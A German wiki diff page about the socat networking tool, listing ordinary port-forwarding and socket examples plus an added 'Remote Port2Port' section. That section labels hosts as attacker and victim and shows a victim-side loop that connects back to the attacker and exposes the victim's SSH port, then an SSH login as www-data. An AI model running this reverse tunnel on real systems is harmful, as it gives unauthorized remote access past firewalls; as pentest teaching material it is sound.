Socat: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
| Zeile 13: | Zeile 13: | ||
=Socat Shells= | =Socat Shells= | ||
*[[socat-shells]] | *[[socat-shells]] | ||
| + | =Remote Port2Port= | ||
| + | ==Variablen== | ||
| + | ANGREIFER=10.0.10.101 | ||
| + | OPFER=10.0.10.104 | ||
| + | ;Angreifer - Weiterleiten des lokalen Ports 2222 nach 443 | ||
| + | *socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr | ||
| + | ;Opfer - Verbindung zu Angreifer auf Port 443 - Alles was dort herkommt wird an Port 22 weitergeleitet | ||
| + | *while true; do socat TCP4:Angreifer:443 TCP4:127.0.0.1:22 ; done | ||
| + | ;Angreifer - Verbindung zum Opfer | ||
| + | *ssh localhost -p 2222 -l www-data -i vulnerable | ||
=Links= | =Links= | ||
*https://www.redhat.com/sysadmin/getting-started-socat | *https://www.redhat.com/sysadmin/getting-started-socat | ||
*http://www.dest-unreach.org/socat/doc/socat.html#EXAMPLES | *http://www.dest-unreach.org/socat/doc/socat.html#EXAMPLES | ||
Version vom 8. August 2021, 12:13 Uhr
Intallation
- sudo apt install socat
Connect zu einem Mailserver
- socat - TCP4:ox.xinux.org:25
Locale Portweiterleitung einmalige Verwendung
- socat TCP4-LISTEN:9922 TCP4:brian.tuxmen.de:8472
Locale Portweiterleitung inklusive Fork
- socat TCP4-LISTEN:9922,fork,reuseaddr TCP4:brian.tuxmen.de:8472
Lauchen auf TCP Port 3307 und weiterleiten an einen Unix Socket
- socat TCP-LISTEN:3307,reuseaddr,fork UNIX-CONNECT:/var/lib/mysql/mysql.sock
Nachrichten Samler
- socat -u TCP4-LISTEN:3334,reuseaddr,fork OPEN:/tmp/test.log,creat,append
Socat Shells
Remote Port2Port
Variablen
ANGREIFER=10.0.10.101 OPFER=10.0.10.104
- Angreifer - Weiterleiten des lokalen Ports 2222 nach 443
- socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr
- Opfer - Verbindung zu Angreifer auf Port 443 - Alles was dort herkommt wird an Port 22 weitergeleitet
- while true; do socat TCP4:Angreifer:443 TCP4:127.0.0.1:22 ; done
- Angreifer - Verbindung zum Opfer
- ssh localhost -p 2222 -l www-data -i vulnerable